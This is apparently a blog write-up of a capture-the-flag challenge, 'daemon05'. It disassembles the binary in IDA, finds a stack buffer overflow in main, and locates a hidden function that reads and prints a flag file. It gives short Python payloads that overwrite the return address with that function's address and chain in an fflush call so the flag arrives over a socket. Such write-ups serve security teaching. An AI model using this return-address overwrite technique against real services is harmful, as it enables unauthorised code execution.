Identify main
Like the previous blog post, let’s start with the start
function.
<b>.text:</b>080488B0 public start <b>.text:</b>080488B0 start proc near <b>.text:</b>080488B0 <b>xor</b> <b>ebp</b>, <b>ebp</b> <b>.text:</b>080488B2 <b>pop</b> <b>esi</b> <b>.text:</b>080488B3 <b>mov</b> <b>ecx</b>, <b>esp</b> <b>.text:</b>080488B5 <b>and</b> <b>esp</b>, 0FFFFFFF0h <b>.text:</b>080488B8 <b>push</b> <b>eax</b> <b>.text:</b>080488B9 <b>push</b> <b>esp</b> <b>.text:</b>080488BA <b>push</b> <b>edx</b> <b>.text:</b>080488BB <b>push</b> offset sub_804C650 <b>.text:</b>080488C0 <b>push</b> offset sub_804C5F0 <b>.text:</b>080488C5 <b>push</b> <b>ecx</b> <b>.text:</b>080488C6 <b>push</b> <b>esi</b> <b>.text:</b>080488C7 <b>push</b> offset main <b>.text:</b>080488CC <b>call</b> ___libc_start_main
We identify the main
function as the last argument to ___libc_start_main
. So let’s get to it.
Analyze main
<b>.text:</b>08048ABE main proc near ; DATA XREF: start+17↑o <b>.text:</b>08048ABE <b>.text:</b>08048ABE var_518 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h <b>.text:</b>08048ABE var_514 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h <b>.text:</b>08048ABE var_510 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h <b>.text:</b>08048ABE var_208 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h <b>.text:</b>08048ABE <b>.text:</b>08048ABE <b>push</b> <b>ebp</b> <b>.text:</b>08048ABF <b>mov</b> <b>ebp</b>, <b>esp</b> <b>.text:</b>08048AC1 <b>sub</b> <b>esp</b>, 518h ; char * <b>.text:</b>08048AC7 <b>and</b> <b>esp</b>, 0FFFFFFF0h <b>.text:</b>08048ACA <b>mov</b> <b>eax</b>, 0 <b>.text:</b>08048ACF <b>add</b> <b>eax</b>, 0Fh <b>.text:</b>08048AD2 <b>add</b> <b>eax</b>, 0Fh <b>.text:</b>08048AD5 <b>shr</b> <b>eax</b>, 4 <b>.text:</b>08048AD8 <b>shl</b> <b>eax</b>, 4 <b>.text:</b>08048ADB <b>sub</b> <b>esp</b>, <b>eax</b> <b>.text:</b>08048ADD <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"... <b>.text:</b>08048AE4 <b>call</b> _printf <b>.text:</b>08048AE9 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aSecretCode ; "Secret Code: " <b>.text:</b>08048AF0 <b>call</b> _printf <b>.text:</b>08048AF5 <b>mov</b> <b>eax</b>, <b>ds</b><b>:</b>stdout <b>.text:</b>08048AFA <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b> <b>.text:</b>08048AFD <b>call</b> _fflush <b>.text:</b>08048B02 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, 200h <b>.text:</b>08048B0A <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b> <b>.text:</b>08048B10 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b> <b>.text:</b>08048B14 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, 0 <b>.text:</b>08048B1B <b>call</b> _read <b>.text:</b>08048B20 <b>mov</b> <b>ds</b><b>:</b>dword_80529DC, <b>eax</b> <b>.text:</b>08048B25 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt" <b>.text:</b>08048B2D <b>mov</b> <b>eax</b>, <b>ds</b><b>:</b>dword_80529DC <b>.text:</b>08048B32 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b> <b>.text:</b>08048B36 <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b> <b>.text:</b>08048B3C <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b> <b>.text:</b>08048B3F <b>call</b> sub_80489F4
First, a few calls to printf
to advertise this is from xWinGs. Nothing fancy yet. Then a read
of 0×200 (1024) bytes to var_208
. So, let’s rename var_208
to input_buffer
. And also note that input_buffer
is the first item on the stack. After input_buffer
there comes the frame pointer and a return address.
With the same reasoning as in the previous post, we also rename var_518
to first_arg
, var_514
to second_arg
, and var_510
to third_arg
.
After the read
is a check for score server packet. We’ll skip it. And here comes the juicy part.
<b>.text:</b>08048B44 <b>mov</b> <b>eax</b>, <b>ds</b><b>:</b>stdin <b>.text:</b>08048B49 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>third_arg<b>]</b>, <b>eax</b> <b>.text:</b>08048B4D <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>second_arg<b>]</b>, 300h <b>.text:</b>08048B55 <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>input_buffer<b>]</b> <b>.text:</b>08048B5B <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, <b>eax</b> <b>.text:</b>08048B5E <b>call</b> _fgets <b>.text:</b>08048B63 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, offset aWrongCode_ ; "Wrong Code.n" <b>.text:</b>08048B6A <b>call</b> _printf <b>.text:</b>08048B6F <b>mov</b> <b>eax</b>, 0 <b>.text:</b>08048B74 <b>leave</b> <b>.text:</b>08048B75 <b>retn</b> <b>.text:</b>08048B75 main endp
The next call is to fgets
to read another, uhm, 0×300 bytes to input_buffer
. And this is where overflow occurs. Remember that input_buffer
is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing input_buffer
we are able to control the return address.
Ok, that’s all fine, but where do we want main
to return to? A little digging around reveals this piece of unidentified code.
<b>.text:</b>08048A60 locret_8048A60<b>:</b> ; CODE XREF: sub_80489F4+29↑j <b>.text:</b>08048A60 <b>leave</b> <b>.text:</b>08048A61 <b>retn</b> <b>.text:</b>08048A61 sub_80489F4 endp <b>.text:</b>08048A61 <b>.text:</b>08048A62 ; --------------------------------------------------------------------------- <b>.text:</b>08048A62 <b>push</b> <b>ebp</b> <b>.text:</b>08048A63 <b>mov</b> <b>ebp</b>, <b>esp</b> <b>.text:</b>08048A65 <b>sub</b> <b>esp</b>, 48h <b>.text:</b>08048A68 <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, offset aR ; "r" <b>.text:</b>08048A70 <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt" <b>.text:</b>08048A77 <b>call</b> _fopen <b>.text:</b>08048A7C <b>mov</b> <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>, <b>eax</b> <b>.text:</b>08048A7F <b>mov</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b> <b>.text:</b>08048A82 <b>mov</b> <b>[</b><b>esp</b><b>+</b>8<b>]</b>, <b>eax</b> <b>.text:</b>08048A86 <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, 20h <b>.text:</b>08048A8E <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b> <b>.text:</b>08048A91 <b>mov</b> <b>[</b><b>esp</b><b>]</b>, <b>eax</b> <b>.text:</b>08048A94 <b>call</b> _fgets <b>.text:</b>08048A99 <b>mov</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b> <b>.text:</b>08048A9C <b>mov</b> <b>[</b><b>esp</b><b>]</b>, <b>eax</b> <b>.text:</b>08048A9F <b>call</b> _fclose <b>.text:</b>08048AA4 <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b> <b>.text:</b>08048AA7 <b>mov</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>,;;; <b>eax</b> <b>.text:</b>08048AAB <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset <b>aS</b> ; "n%s" <b>.text:</b>08048AB2 <b>call</b> _printf <b>.text:</b>08048AB7 <b>mov</b> <b>eax</b>, 0 <b>.text:</b>08048ABC <b>leave</b> <b>.text:</b>08048ABD <b>retn</b> <b>.text:</b>08048ABE <b>.text:</b>08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ <b>.text:</b>08048ABE <b>.text:</b>08048ABE ; Attributes: bp-based frame <b>.text:</b>08048ABE <b>.text:</b>08048ABE main proc near ; DATA XREF: start+17↑o <b>.text:</b>08048ABE <b>.text:</b>08048ABE first_arg <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h <b>.text:</b>08048ABE second_arg <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h <b>.text:</b>08048ABE third_arg <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h <b>.text:</b>08048ABE input_buffer <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h
Look at 08048A62
! It’s a function prologue. And indeed from 08048A62
to 08048ABD
is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!
Exploit it
Now, let’s gather what we’ve have. We can control where main returns to, and we know there’s a function that suits our purpose. Therefore, the challenge is… none. We just return to this function!
With that tactic, our exploit is as trivial as constructing a buffer containing all 08048A62
. And how hard could it be? Two lines of Python code!
import struct buffer = struct.pack("I", 0x08048A62) * 1000
Remotely exploit it
If you tried out the buffer above, you might find that it didn’t work remotely. This is because the easter-egg function uses printf
to print out the flag. It is common knowledge that printf
buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0×664 bytes. However, only 0×300 bytes are read in. So this approach fails.
Another approach is to flush the stream after printf
. Luckily, this is doable by returning to 08048AF5
. At that address, there is a call to fflush
on stdout
. Again, we only use existing code.
In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:
buffer = struct.pack("I", 0x08048A62) * 300 + "xF5x8Ax04x08" + "x0A"
Observation
Well, what should I say? Thank you, xWinGs, for this twisted fun!